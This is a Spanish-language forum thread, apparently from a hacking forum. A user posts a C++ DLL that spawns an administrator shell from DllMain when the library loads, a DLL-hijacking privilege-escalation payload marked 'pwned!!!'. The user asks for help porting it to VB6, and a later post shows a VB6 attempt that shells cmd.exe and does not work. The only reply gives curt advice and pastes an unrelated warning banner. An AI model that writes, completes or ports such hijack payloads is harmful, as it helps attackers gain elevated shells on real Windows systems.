Mostrar mensajes previos
Ordenar por
por 0day Sin sí­ntomas
Hola, ¿alguien tiene experiencia con c ++ y, de ser así, es posible convertir este código a vb6?
#include <windows.h> 
#include <Winuser.h> 
 


int PSGetPropertyDescription(){
    MessageBox(0, "Spawnning shell as Administrator", "pwned!!!", MB_OK);
    WinExec("cmd.exe /c C:\\windows\\system32\\cmd.exe", 1);
    ExitProcess(0);
    return 0;
}

BOOL WINAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)  
{  
  if (fdwReason == DLL_PROCESS_ATTACH)  
  {  
    PSGetPropertyDescription();  
  }  
  
  return TRUE;  
}  
por DSR! Benevolent dictator for life
Agarra el ejemplo de una dll y agregale equivalente a winexec().
Hay que preguntarle con un minimo de cabeza...

Código: Seleccionar todo

{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING  **}
{******************************************************************************}
{**                                                                          **}
{** The prototypes, declarations and information in this file has been       **}
{** compiled from various sources as well as through reverse engineering     **}
{** techniques. We make no guarantee as to the correctness of the contents.  **}
{** Caution is recommended, USE AT YOUR OWN RISK.                            **}
{**                                                                          **}
{******************************************************************************}
por 0day Sin sí­ntomas
DSR! escribió: 01 Abr 2023, 23:00 Agarra el ejemplo de una dll y agregale equivalente a winexec().
Hay que preguntarle con un minimo de cabeza...
¿Crees que no lo he probado? Este es el ejemplo pero no funciona...


Private Const DLL_PROCESS_ATTACH = 1


Public Function DllMain(hInst As Long, fdwReason As Long, lpvReserved As Long) As Boolean

 
 Select Case fdwReason
 Case DLL_PROCESS_ATTACH
  Dim RetVal
  RetVal = Shell("C:\WINDOWS\system32\cmd.exe", 1)
  DllMain = True
 End Select
 End Function

Compilado en un proyecto DLL
Temas similares
Convertir EXE a VBS por savioladj en Dudas y Preguntas
RAT VB.NET Basic Rat por motherfukers en Troyanos y Herramientas
VB - Basic RAT por motherfukers en Troyanos y Herramientas
Links sobre el tema
Variantes de tema
Responder

Volver a “Dudas y Preguntas”